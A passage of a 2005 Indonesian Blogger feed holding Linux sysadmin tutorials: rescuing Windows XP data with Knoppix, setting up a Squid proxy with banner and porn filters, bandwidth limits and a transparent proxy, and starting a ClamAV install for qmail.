:D&lt;br /&gt;      2. Hdd yang digunakan adalah jenis Hdd PC biasa Maxtor 80 Gb 7200rpm.&lt;br /&gt;      3. Di ujicoba ditempat yang sangat menyedihkan dengan mesin Slackware 10 - kernel-2.6.8   :-(&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111020100381440892?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111020100381440892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111020100381440892' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020100381440892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020100381440892'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/usb-hdd-external-di-linux.html' title='USB HDD External  di Linux'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111020085405375966</id><published>2005-03-07T05:06:00.000-08:00</published><updated>2005-03-07T05:07:34.056-08:00</updated><title type='text'>Menyelamatkan data di Windows XP dengan linux Knoppix</title><content type='html'>Tidak terasa teknologi komputer semakin berkembang, sistem operasi juga semakin banyak mulai dari dos, windows 9x, windows NT, windows XP, OS2, MacOS, Unix, Linux. linux saat ini sangat banyak pengembangnya di site www.distrowatch.com tercatat lebih dari 100 distro, mulai dari distro seperti redhat, fedora, suse, mandrake, debian. perkembangan terakhir distro linux, saat ini mulai banyak dilirik media alternatif selain di install di hardisk PC, yaitu linux live CD dengan linux live cd kita bisa memakai linux tanpa harus menginstall nya. tinggal masukan ke cd-rom drive dan boot ke cd...dan anda telah memakai linux. pelopor linux live cd knoppix dibuat oleh Klaus Knopper dari jerman http://www.knoppix.net. mendapatkan linux knoppix juga sangat mudah download di www.knoppix.net, atau mirror nya di http://kambing.vlsm.org/debian-cd/knoppix/, atau beli di toko cd, beli infolinux.&lt;br /&gt;&lt;br /&gt;Banyak di antara kita yang masih memakai windows untuk dirumah, dikantor, di warnet. terlepas dari windows tersebut bajakan atau bukan. Suatu saat windows bisa crash, currupt, tidak bisa di boot, kalau sudah begini baru pusing untuk menyelamat kan data. Untuk windows 95, windows98, windows ME. kita masih bisa memakai disket boot dos dan membaca isi drive nya karena masih memakai file system FAT yang masih bisa dibaca oleh dos. Sedangkan windows NT, 2000, XP kalau memakai file-system NTFS tidak akan bisa dibaca oleh disket dos. jadi menyelamatkan system atau data di file-system NTFS cukup sulit, apalagi jika windows tidak memberi kesempatan kita untuk masuk ke konsol atau pun ke desktop.&lt;br /&gt;&lt;br /&gt;Salah satu cara yang mudah untuk memnyelamatkan data dengan menggunakan linux live-cd seperti cd knoppix. setelah kita bisa menjalankan knoppix kita bisa membackup data ke komputer file server, komputer orang lain sementara windows nya bisa kita utak-atik. berikut ini step by step untuk rescue windows XP dengan Linux Knoppix.&lt;br /&gt;&lt;br /&gt;Buat komputer untuk bisa boot ke cd, caranya masuk ke bios pada saat boot tekan "del" pada notebook biasanya F2, cari boot squence biasanya di bagian advance (bios ami, award kecuali md intel). Buat first boot ke CD.&lt;br /&gt;&lt;br /&gt;Pasang CD Knoppix di cdrom drive&lt;br /&gt;&lt;br /&gt;Tunggu kira-kira 5 menit akan masuk ke desktop linux knoppix. kalau gagal, pada saat lilo (boot loader linux) ketik F2 akan masuk ke boot option. kalau vga card tidak mendukung atau memory kurang, coba masuk ke tesk mode dengan boot option "knoppix 2"&lt;br /&gt;&lt;br /&gt;Setelah di desktop linux masuk ke menu Knoppix -&gt; Network -&gt; network configuration. kalau jaringan memakai dhcp tekan ok. kalau tidak tekan no, kemudian masukan IP address, DNS, Gateway (yang terpenting adalah IP address). Atau kalau tidak berhasil ke desktop, coba boot ke text mode, di console ketik "netcardconfig", kemudian masukan ipaddress, coba ping ke komputer teman, server. &lt;br /&gt;&lt;br /&gt;Coba browse network komputer dengan perintah "smbclient -L nama-komputer", kalau meminta password tekan saja enter (kalau kita yakin komputer yang share tidak di password). Buat direktory mount untuk samba-share "mkdir /mnt/samba-share" Kemudian buka network share yang akan di jadikan backup dengan perintah "smbmount //nama-komputer/nama-share /mnt/samba-share" kalau di share tersebut di password tambahkan option "username=***" "passowrd=***".&lt;br /&gt;&lt;br /&gt;Mount hardisk local dengan perintah "mount /mnt/hda1" (primary master, partisi pertama), "mount /mnt/hda5 (primary master, partisi logikal pertama).&lt;br /&gt;&lt;br /&gt;Buka program mc (Midnight Commander) dengan perintah "mc" sangat mirip dengan Norton commander jaman dos dahulu kala, kemudian di sebelah kiri bisa dibuka /mnt/hda1, disebelah kanan /mnt/samba-share. select dengan "insert" dan copy "F5" file-file yang ingin di backup (hilangkan check "preserve Attributes" untuk tidak mengganti atribut file yang backup). Kalau ada ftp sever bisa gunakan "FTP link" misalnya kita mau back up ke ftp server "ftp.server.co.id" dengan user=gue password=passgue, di direktory pub/backup masuk ke menu Right -&gt; FTP link kemudian keluar FTP to machine (tekan F1 untuk melihat contohnya) ketikan /#ftp:gue:passgue@ftp.server.co.id/pub/backup.&lt;br /&gt;&lt;br /&gt;Setelah selesai membackup file kita bisa mengoprek windows XP nya. kalau prlu di format juga boleh, file-file penting kita telah selamat.&lt;br /&gt;&lt;br /&gt;Catatan terakhir, bisa juga digunakan linux live-cd yang lain misalnya Mandrake-Move (tidak ada mc), Slax, Gnoppix, suse-livecd, dll, atau gunakan distro usb-flash seperti RUNT jika kita punya komputer yang bisa boot dari USB. Knoppix versi 3.1 3.2 mc nya suka error jika mengcopy banyak file. jadi gunakan versi 3.3, 3.4 atau yang terbaru 3.7.&lt;br /&gt;&lt;br /&gt;Linux Knoppix membuka partisi NTFS dengan readonly, kalau FAT bisa read-write. linux dengan kernel 2.6 bisa membuka NTFS dengan read-write tetapi di live cd knoppix sepertinya belum bisa (saya tidak tahu pasti).&lt;br /&gt;&lt;br /&gt;Kurniadi (kurniadi@patrakom.co.id)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111020085405375966?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111020085405375966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111020085405375966' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020085405375966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020085405375966'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/menyelamatkan-data-di-windows-xp.html' title='Menyelamatkan data di Windows XP dengan linux Knoppix'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111020075582830131</id><published>2005-03-07T05:04:00.000-08:00</published><updated>2005-03-07T05:05:55.840-08:00</updated><title type='text'>Instalasi Squid, Banner Filter, Porn Filter, Limit Bandwith, Transparan Proxy</title><content type='html'>Sebelum menginstall alangkah baiknya siapkan satu pak rokok (A Mild) dan makanan ringan :) . Dokumen ini ditujukan untuk membantu membuat sebuah proxy server. Sistem Operasi yang digunakan adalah Redhat Linux 7.2. Semua paket tersebut menggunakan format source tarball. Tidak ada copyright apapun dalam dukumen ini, anda bebas menyalin, mencetak, maupun memodifikasi (dengan menyertakan nama penulis asli). Saran, koreksi, kritik, kesalahan ketik, maupun ucapan silakan dikirimkan ke email tersebut diatas. Semoga bermanfaat dan memajukan opensource software di Indonesia.&lt;br /&gt;&lt;br /&gt;Pastikan login pada server anda adalah sebagai root&lt;br /&gt;&lt;br /&gt;1. Instalasi Banner Filter&lt;br /&gt;Penempatan direktori Banner Filter harus didalam direktori www kita. misal saya di /usr/local/apache/htdocs .download souce Banner Filter di http://phroggy.com/files/unix/bannerfilter-1.21.tar.gz&lt;br /&gt;&lt;br /&gt;[root@PROXY hanny]# wget http://phroggy.com/files/unix/bannerfilter-1.21.tar.gz&lt;br /&gt;&lt;br /&gt;Ekstrak source bannerfilter-1.21.tar.gz :&lt;br /&gt;[root@PROXY hanny]# tar -xzvf bannerfilter-1.21.tar.gz&lt;br /&gt;&lt;br /&gt;Kemudian pindahkan hasil exstrak bannerfilter-1.21.tar.gz ke dalam /usr/local/apache/htdocs&lt;br /&gt;[root@PROXY hanny]# mv bannerfilter-1.21 /usr/local/apache/htdocs/bannerfilter&lt;br /&gt;[root@PROXY hanny]# cd /usr/local/apache/htdocs/bannerfilter&lt;br /&gt;&lt;br /&gt;Edit file bannerfilter.conf&lt;br /&gt;[root@PROXY bannerfilter]# mv bannerfilter.conf /etc&lt;br /&gt;[root@PROXY bannerfilter]# vi /etc/bannerfilter.conf&lt;br /&gt;&lt;br /&gt;Contoh isi bannerfilter.conf saya :&lt;br /&gt;# Path to the directory containing the data files:&lt;br /&gt;$DATA='/usr/local/apache/htdocs/bannerfilter';&lt;br /&gt;&lt;br /&gt;# URL of the directory containing the HTML and graphics files&lt;br /&gt;# (this must be accessible by the machine running Squid; it does&lt;br /&gt;# not need to be accessible to the client machines):&lt;br /&gt;$WWW='http://www.rsds.or.id/bannerfilter/www';&lt;br /&gt;&lt;br /&gt;# Path to the banner log file if you want one, or leave empty (if&lt;br /&gt;# specified, Squid must have write access to this file):&lt;br /&gt;$LOG='';&lt;br /&gt;&lt;br /&gt;# $LOG='/tmp/bannerlog.txt';&lt;br /&gt;# If you prefer not to see "Blocked", use null.gif instead of&lt;br /&gt;# banner.gif:&lt;br /&gt;$BANNERGIF='banner.gif'; &lt;br /&gt;&lt;br /&gt;Penambahan script bannerfilter nantinya akan diletakan didalam squid.conf&lt;br /&gt;redirect_program /usr/local/apache/htdocs/bannerfilter/redirector.pl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Instalasi Squid&lt;br /&gt;Sebelum installasi squid, pastikan daemon squid yang asli dari redhat harus anda stop atau musnahkan !!&lt;br /&gt;caranya :&lt;br /&gt;[root@PROXY hanny]# /etc/rc.d/init.d/squid stop&lt;br /&gt;[root@PROXY hanny]# for a in `rpm -qa | grep squid`; do rpm -e --nodeps $a; done&lt;br /&gt;&lt;br /&gt;Sekarang kita mendownload source squid. Saya menggunakan squid-2.5.STABLE2&lt;br /&gt;Download source squid di http://www.squid-cache.org/Versions/v2/2.5/squid-2.5.STABLE2.tar.gz&lt;br /&gt;&lt;br /&gt;[root@PROXY hanny]# wget http://www.squid-cache.org/Versions/v2/2.5/squid-2.5.STABLE2.tar.gz&lt;br /&gt;&lt;br /&gt;Ekstrak source squid-2.5.STABLE2.tar.gz :&lt;br /&gt;[root@PROXY hanny]# tar -xzvf squid-2.5.STABLE2.tar.gz &lt;br /&gt;[root@PROXY hanny]# cd squid-2.5.STABLE2&lt;br /&gt;&lt;br /&gt;Buat user untuk menjalankan squid, nama usernya adalah squid&lt;br /&gt;Guna meningkatkan keamanan server kita, maka user squid tidak bisa digunakan untuk login&lt;br /&gt;[root@PROXY squid-2.5.STABLE2]# useradd -d /usr/local/squid/ -r -s /dev/null squid &gt; /dev/null 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;Kompilasi dan install Squid : &lt;br /&gt;[root@PROXY squid-2.5.STABLE2]# ./configure --prefix=/usr/local/squid --exec-prefix=/usr/local/squid &gt; --enable-delay-pools --enable-cache-diggests --enable-poll &gt; --disable-ident-lookups --enable-async-io=16 &gt; --enable-auth-modules --enable-removal-policies --enable-snmp&lt;br /&gt;&lt;br /&gt;[root@PROXY squid-2.5.STABLE2]# make all&lt;br /&gt;Biasanya proses make all ini berlangsung lama, alangkah baiknya kita ambil sebatang rokok lalu di bakar :) betapa indahnya dunia ini !!&lt;br /&gt;&lt;br /&gt;[root@PROXY squid-2.5.STABLE2]# make install&lt;br /&gt;&lt;br /&gt;Sekarang kita masuk dalam tahap meng-edit konfigurasi ke dalam file squid.conf&lt;br /&gt;[root@PROXY squid-2.5.STABLE2]# cd /usr/local/squid/etc&lt;br /&gt;&lt;br /&gt;Anda bisa membaca terlebih dahulu http://www.squid-cache.org/Doc/FAQ/FAQ.html (Ambil sebatang rokok lagi agar ketegangan anda mereda !!)&lt;br /&gt;Dalam meng-edit konfigurasi squid, anda bisa membaca readme yang sudah ada di dalam file squid.conf atau anda juga bisa melihat atau mengambil, file yang sudah saya edit http://www.rsds.or.id/linux/squid.conf.hanny&lt;br /&gt;&lt;br /&gt;[root@PROXY etc]# wget http://www.rsds.or.id/linux/squid.conf.hanny&lt;br /&gt;[root@PROXY etc]# vi squid.conf.hanny&lt;br /&gt;&lt;br /&gt;kemudian carilah kata-kata dalam file squid.conf.hanny seperti keterangan dibawah ini yang berhurup bold italic :&lt;br /&gt;ftp_user name@domain-anda.com&lt;br /&gt;dns_nameservers IP-Address-DNS-ISP-Anda &lt;br /&gt;acl user src 192.168.0.0/255.255.255.0&lt;br /&gt;(ip192.168.0.0 adalah ranges ip address client kita mulai 192.168.0.0 sampai 192.168.0.255)&lt;br /&gt;&lt;br /&gt;Didalam file squid.conf.hanny, sudah saya tambahkan script untuk menjalankan Banner Filter dan Porn Filter :&lt;br /&gt;redirect_program /usr/local/apache/htdocs/bannerfilter/redirector.pl &lt;br /&gt;acl porn url_regex "/usr/local/squid/etc/porn.txt"&lt;br /&gt;http_access deny porn &lt;br /&gt;&lt;br /&gt;"Jika anda tidak menginginkan Banner Filter atau Porn Filter berjalan, maka pada awal script Banner Filter atau Porn Filter dalam file squid.conf.hanny harus di beri tanda " # " : &lt;br /&gt;#redirect_program /usr/local/apache/htdocs/bannerfilter/redirector.pl&lt;br /&gt;#acl porn url_regex "/usr/local/squid/etc/porn.txt"&lt;br /&gt;#http_access deny porn &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Limit Bandwith&lt;br /&gt;Dalam file squid.conf.hanny, juga sudah saya tambahkan script untuk menggunakan delay pool :&lt;br /&gt;&lt;br /&gt;#------------------------ DELAY POLL KONFIGURASI HANNY ---------------------------&lt;br /&gt;#This is the most important part for shaping incoming traffic with Squid&lt;br /&gt;#For detailed description see squid.conf file or docs at http://www.squid-cache.org&lt;br /&gt;#We don't want to limit downloads on our local network&lt;br /&gt;acl magic_words1 url_regex -i 192.168.&lt;br /&gt;#We want to limit downloads of these type of files&lt;br /&gt;#Put this all in one line&lt;br /&gt;acl magic_words2 url_regex -i ftp .exe .mp3 .vqf .tar.gz .gz .rpm .zip .rar .avi .mpeg .mpe .mpg .qt .ram .rm .iso .raw .wav&lt;br /&gt;#We don't block .html, .gif, .jpg and similar files, because they&lt;br /&gt;#generally don't consume much bandwith&lt;br /&gt;#We have two different delay_pools&lt;br /&gt;delay_pools 2&lt;br /&gt;#First delay pool&lt;br /&gt;#W don't want to delay our local traffic&lt;br /&gt;#There are three pool classes; here we will deal only with the second&lt;br /&gt;delay_class 1 2&lt;br /&gt;#-1/-1 mean that there are no limits&lt;br /&gt;delay_parameters 1 -1/-1 -1/-1&lt;br /&gt;#magic_words1: 192.168&lt;br /&gt;delay_access 1 allow magic_words1&lt;br /&gt;#Second delay pool&lt;br /&gt;#we want to delay downloading files mentioned in magic_words2&lt;br /&gt;delay_class 2 2&lt;br /&gt;#The numbers here are values in bytes;&lt;br /&gt;#we must remember that Squid doesn't consider start/stop bits&lt;br /&gt;#5000/150000 are values for the whole network&lt;br /&gt;#5000/120000 are values for the single IP&lt;br /&gt;#after downloaded files exceed about 150000 bytes,&lt;br /&gt;#(or even twice or three times as much)&lt;br /&gt;#they will continue to download at about 5000 bytes/s&lt;br /&gt;delay_parameters 2 5000/150000 5000/120000&lt;br /&gt;delay_access 2 allow magic_words2&lt;br /&gt;#--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;"Jika anda tidak menginginkan Limit Bandwith berjalan, maka pada awal script delay poll dalam file squid.conf.hanny harus diberi tanda " # " &lt;br /&gt;#------------------------ DELAY POLL KONFIGURASI HANNY ---------------------------&lt;br /&gt;#This is the most important part for shaping incoming traffic with Squid&lt;br /&gt;#For detailed description see squid.conf file or docs at http://www.squid-cache.org&lt;br /&gt;#We don't want to limit downloads on our local network&lt;br /&gt;#acl magic_words1 url_regex -i 192.168.&lt;br /&gt;#We want to limit downloads of these type of files&lt;br /&gt;#Put this all in one line&lt;br /&gt;acl magic_words2 url_regex -i ftp .exe .mp3 .vqf .tar.gz .gz .rpm .zip .rar .avi .mpeg .mpe .mpg .qt .ram .rm .iso .raw .wav&lt;br /&gt;#We don't block .html, .gif, .jpg and similar files, because they&lt;br /&gt;#generally don't consume much bandwith&lt;br /&gt;#We have two different delay_pools&lt;br /&gt;#delay_pools 2&lt;br /&gt;#First delay pool&lt;br /&gt;#W don't want to delay our local traffic&lt;br /&gt;#There are three pool classes; here we will deal only with the second&lt;br /&gt;#delay_class 1 2&lt;br /&gt;#-1/-1 mean that there are no limits&lt;br /&gt;#delay_parameters 1 -1/-1 -1/-1&lt;br /&gt;#magic_words1: 192.168&lt;br /&gt;#delay_access 1 allow magic_words1&lt;br /&gt;#Second delay pool&lt;br /&gt;#we want to delay downloading files mentioned in magic_words2&lt;br /&gt;#delay_class 2 2&lt;br /&gt;#The numbers here are values in bytes;&lt;br /&gt;#we must remember that Squid doesn't consider start/stop bits&lt;br /&gt;#5000/150000 are values for the whole network&lt;br /&gt;#5000/120000 are values for the single IP&lt;br /&gt;#after downloaded files exceed about 150000 bytes,&lt;br /&gt;#(or even twice or three times as much)&lt;br /&gt;#they will continue to download at about 5000 bytes/s&lt;br /&gt;#delay_parameters 2 5000/150000 5000/120000&lt;br /&gt;#delay_access 2 allow magic_words2&lt;br /&gt;#--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Merubah nama file squid..conf yang asli dari komputer anda ke nama file lain. (sebagai back-up)&lt;br /&gt;Dan merubah squid.conf.hanny menjadi squid.conf&lt;br /&gt;[root@PROXY etc]# mv squid.conf squid.conf.punyaku&lt;br /&gt;[root@PROXY etc]# mv squid.conf.hanny squid.conf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Instalasi Porn Filter&lt;br /&gt;Buatlah terlebih dahulu file dengan nama porn.txt&lt;br /&gt;[root@PROXY etc]# touch porn.txt&lt;br /&gt;&lt;br /&gt;Isikan file porn.txt dengan site-site yang hendak anda tutup, misal www.17tahun.com&lt;br /&gt;[root@PROXY etc]# vi porn.txt&lt;br /&gt;isikan dengan kata 17tahun &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Menjalankan squid&lt;br /&gt;Memberi hak direktori squid dan bannerfilter agar proses berjalan lancar : &lt;br /&gt;[root@PROXY etc]# chown -R squid.squid /usr/local/squid&lt;br /&gt;[root@PROXY etc]# chown -R squid.squid /usr/local/apache/htdocs/bannerfilter&lt;br /&gt;&lt;br /&gt;Aktifkan cache squid anda terlebih dahulu:&lt;br /&gt;[root@PROXY etc]# /usr/local/squid/sbin/squid -z&lt;br /&gt;&lt;br /&gt;Jika muncul permission denied pada saat pembuatan cache, cek dulu owner dan permission untuk directory cache :&lt;br /&gt;[root@PROXY etc]# chmod 777 /usr/local/squid/var/logs/ &lt;br /&gt;&lt;br /&gt;Sampai tahap ini jika ada pesan error mohon email ke hanny@rsds.or.id&lt;br /&gt;&lt;br /&gt;Jalankan daemon squid anda :&lt;br /&gt;[root@PROXY etc]# /usr/local/squid/sbin/squid&lt;br /&gt;&lt;br /&gt;Cek squid anda apakah jalan atau tidak :&lt;br /&gt;[root@PROXY etc]# netstat -pln | grep squid&lt;br /&gt;tcp 0 0 0.0.0.0 :8080 0.0.0.0:* LISTEN 777/(squid)&lt;br /&gt;udp 0 0 0.0.0.0 :32771 0.0.0.0:* 777/(squid)&lt;br /&gt;udp 0 0 0.0.0.0 :3130 0.0.0.0:* 777/(squid)&lt;br /&gt;&lt;br /&gt;Jika keluar seperti hal diatas, maka squid anda telah berjalan !! rokokan dulu ah...: )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Test Squid Dari Komputer Client&lt;br /&gt;Lakukan penge-test ping antar network anda, misal server anda mempunyai ip 192.168.0.1 dan ip windows client anda 192.168.1.2 :&lt;br /&gt;[root@PROXY etc]# ping 192.168.0.2&lt;br /&gt;PING 192.168.0.2 (192.168.0.2) from 192.168.0.1 : 56(84) bytes of data.&lt;br /&gt;Warning: time of day goes back, taking countermeasures.&lt;br /&gt;64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=233 usec&lt;br /&gt;64 bytes from 192.168.0.2: icmp_seq=1 ttl=255 time=161 usec&lt;br /&gt;&lt;br /&gt;Jika anda mempunyai client dengan operating system windows 98 atau windows me atau windows XP, pada software internet explorer coba isikan proxy dengan ip server anda dan port 8080 (misal ip server saya 192.168.0.1 maka pengisian proxy adalah 192.168.0.1 : 8080)&lt;br /&gt;&lt;br /&gt;Coba anda buka situs-situs berikut ini dalam masing-masing new windows internet explorer :&lt;br /&gt;http://www.yahoo.com , http://www.17tahun.com , http://zdads.e-media.com&lt;br /&gt;&lt;br /&gt;1. Bila situs http://www.yahoo.com terbuka maka artinya pengerjaan squid anda sampai tahap ini berjalan lancar.&lt;br /&gt;&lt;br /&gt;2. Bila situs http://www.17tahun.com tidak terbuka dan hanya bertulisakan ACCESS DENIED maka Porn Firter anda berjalan lancar. Anda bisa menambahkan situs-situs yang ingin anda tutup, dengan meng-edit kembali file porn.txt&lt;br /&gt;[root@PROXY hanny]# vi /usr/local/squid/etc/porn.txt&lt;br /&gt;&lt;br /&gt;3. Bila situs http://zdads.e-media.com tidak berbuka dan hanya bergambar BLOCKED AREA maka Banner Filter anda berjalan lancar. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Transparan Proxy&lt;br /&gt;Agar lebih mudah kita akan menggunakan iptables&lt;br /&gt;[root@PROXY hanny]# /sbin/iptables -F -t nat&lt;br /&gt;[root@PROXY hanny]# /sbin/iptables -t nat -A PREROUTING -i eth1 -p tcp -s 192.168.0.0/255.255.255.0 &gt; --dport 80 -j DNAT --to 192.168.0.1:8080&lt;br /&gt;&lt;br /&gt;keterangan iptables diatas :&lt;br /&gt;1. eth1 adalah interface lancard untuk ip gateway client.&lt;br /&gt;2. 192.168.0.0/255.255.255.0 adalah ip client kita mulai dari 192.168.0.0 sampai 192.168.0.255.&lt;br /&gt;3. --dport 80 -j DNAT --to 192.168.0.1:8080 adalah bila ada request port 80 (biasanya browsing), akan di paksa masuk ke squid dengan ip 192.168.0.1 port 8080.&lt;br /&gt;&lt;br /&gt;Jika anda mempunyai client dengan operating system windows 98 atau windows me atau windows XP, pada software internet explorer, pastikan tidak terisi proxy. Dan pastikan pengisian ip client dan ip gateway client anda adalah benar adanya !!!&lt;br /&gt;(Misal ip client saya mempunyai ip 192.168.0.2 dan ip gateway 192.168.0.1)&lt;br /&gt;&lt;br /&gt;Coba anda buka situs-situs berikut ini dalam masing-masing new windows internet explorer :&lt;br /&gt;http://www.yahoo.com , http://www.17tahun.com , http://zdads.e-media.com&lt;br /&gt;&lt;br /&gt;1. Bila situs http://www.yahoo.com terbuka maka artinya pengerjaan squid anda sampai tahap ini berjalan lancar.&lt;br /&gt;&lt;br /&gt;2. Bila situs http://www.17tahun.com tidak terbuka dan hanya bertulisakan ACCESS DENIED maka Porn Firter anda berjalan lancar. Anda bisa menambahkan situs-situs yang ingin anda tutup, dengan meng-edit kembali file porn.txt&lt;br /&gt;[root@PROXY hanny]# vi /usr/local/squid/etc/porn.txt&lt;br /&gt;&lt;br /&gt;3. Bila situs http://zdads.e-media.com tidak berbuka dan hanya bergambar BLOCKED AREA maka Banner Filter anda berjalan lancar. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Autorun Squid dan Transparan Proxy&lt;br /&gt;Bila server squid kita restart dan kita tidak ingin mengulangi command2x seperti hal-hal pada artikel di atas, maka masukan script pada /etc/rc.local :&lt;br /&gt;[root@PROXY hanny]# vi /etc/rc.local&lt;br /&gt;&lt;br /&gt;isikan dengan :&lt;br /&gt;#Menjalankan Transparan Proxy&lt;br /&gt;/sbin/iptables -F -t nat &lt;br /&gt;/sbin/iptables -t nat -A PREROUTING -i eth1 -p tcp -s 192.168.0.0/255.255.255.0 --dport 80 -j DNAT --to 192.168.0.1:8080&lt;br /&gt;&lt;br /&gt;#Menghidupkan Squid&lt;br /&gt;/bin/rm /usr/local/squid/var/logs/squid.pid&lt;br /&gt;/usr/local/squid/sbin/squid&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Lain-Lain&lt;br /&gt;Bila kita inggin melihat siapa saja yang sedang mengunakan squid kita dan situs-situs apa saja yang mereka buka, anda bisa menggunakan:&lt;br /&gt;[root@PROXY hanny]# tail -f /usr/local/squid/var/logs/access.log&lt;br /&gt;&lt;br /&gt;Bila anda merubah isi file squid.conf dan ingin mencoba apakah squid.conf yang kita rubah bisa sesuai yang kita inginkan :&lt;br /&gt;[root@PROXY hanny]# /usr/local/squid/sbin/squid -k reconfigure&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. ChangeLog&lt;br /&gt;24 Maret 2003&lt;br /&gt;Penambahan permission pada direktory cache (dani@bisnisweb.com)&lt;br /&gt;&lt;br /&gt;24 Maret 2003&lt;br /&gt;Penulisan tutorial ini dimulai (hanny@rsds.or.id)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Referensi&lt;br /&gt;1. http://www.squid-cache.org/&lt;br /&gt;2. http://www.tldp.org/HOWTO/mini/TransparentProxy.html&lt;br /&gt;3. http://jateng.linux.or.id/index.html&lt;br /&gt;4. http://netfilter.samba.org/&lt;br /&gt;5. http://phroggy.com/bannerfilter/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. Ucapan Terima Kasih&lt;br /&gt;1. Kepada asfik , sunar , dani sebagai awal dari penginstallan squid saya.&lt;br /&gt;2. Kepada channel #indolinux server dal.net dan efnet.net sebagai komunitas linux.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111020075582830131?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111020075582830131/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111020075582830131' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020075582830131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111020075582830131'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/instalasi-squid-banner-filter-porn.html' title='Instalasi Squid, Banner Filter, Porn Filter, Limit Bandwith, Transparan Proxy'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111019984905432345</id><published>2005-03-07T04:47:00.001-08:00</published><updated>2005-03-07T04:50:49.106-08:00</updated><title type='text'>Antivirus dengan qmail-scanner dan clam antivirus pada qmail</title><content type='html'>Diasumsikan diserver anda telah telah terpasang qmail yang sudah dipatch menggunakan qmail-queue patch dari Bruce Guenter ( http://www.qmail.org/qmailqueue-patch) . Tutorial ini disusun menggunakan distro Redhat Linux 7.3 dan mungkin juga bisa anda coba pada distro yang lain. Saran, koreksi, kritik, kesalahan ketik, maupun ucapan silakan dikirimkan ke email tersebut diatas atau langsung join ke channel #indolinux di EFnet. Terima Kasih. &lt;br /&gt;&lt;br /&gt;Jika Anda merasa apa yang saya tulis berikut ini berguna dan ingin membuat saya gembira, Anda bisa mengirimkan satu (atau lebih) CD dari daftar wishlist saya. Tentu saja, usaha Anda akan sangat saya hargai :-). &lt;br /&gt;1. Instal clam antivirus&lt;br /&gt;&lt;br /&gt;Clam antivirus ( http://clamav.elektrapro.com) merupakan software antivirus yang berlisensi GNU GPL 2 dengan menggunakan database virus dari OpenAntiVirus ( http://www.openantivirus.org). Download, ekstrak dan ganti direktori ke source clam antivirus :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus src]# wget http://clamav.elektrapro.com/stable/clamav-0.54.tar.gz &lt;br /&gt;[root@wedus src]# tar -xzvf clamav-0.54.tar.gz &lt;br /&gt;[root@wedus src]# cd clamav-0.54&lt;br /&gt;&lt;br /&gt;Buat user dan group yang akan menjalankan daemon clam anvirus :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# groupadd clamav &lt;br /&gt;[root@wedus clamav-0.54]# useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav&lt;br /&gt;&lt;br /&gt;Lakukan kompilasi dan install :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@wedus clamav-0.54]# ./configure &lt;br /&gt;[root@wedus clamav-0.54]# make &lt;br /&gt;[root@wedus clamav-0.54]# make install &lt;br /&gt;&lt;br /&gt;Pindah file konfigurasi standar dari clam antivirus ke 